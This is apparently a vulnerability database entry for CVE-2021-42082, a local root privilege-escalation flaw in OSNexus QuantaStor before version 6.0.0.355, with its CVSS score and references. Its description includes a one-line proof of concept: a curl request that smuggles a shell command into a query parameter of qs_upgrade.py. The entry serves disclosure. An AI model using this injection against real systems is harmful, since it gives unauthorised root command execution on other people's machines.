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CVE-2021-42082

nvd nist
Published: Jul 10, 2023Modified: Sep 22, 2025

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7.8
Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Exploitability: 1.8 / Impact: 5.9
Source: NVD

Description

Local users are able to execute scripts under root privileges. POC On the local host run the following command: curl 'localhost:8154/qstor/qs_upgrade.py?taskId=1&a=;`whoami`'

Affected (1)

Products: Osnexus: Quantastor
Osnexus
1 product
Quantastor
Configuration A
1 vulnerable
Vulnerable SoftwareAffected Versions
Quantastor
Before 6.0.0.355

Related CWEs

CWE-269
Improper Privilege Management
The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor.

References (8)

Source: csirt@divd.nl
Third Party Advisory
Source: csirt@divd.nl
Source: csirt@divd.nl
Product
Source: csirt@divd.nl
Third Party Advisory
Source: af854a3a-2127-422b-91ae-364da2661108
Third Party Advisory
Source: af854a3a-2127-422b-91ae-364da2661108
Source: af854a3a-2127-422b-91ae-364da2661108
Product
Source: af854a3a-2127-422b-91ae-364da2661108
Third Party Advisory

Timeline

No history available yet.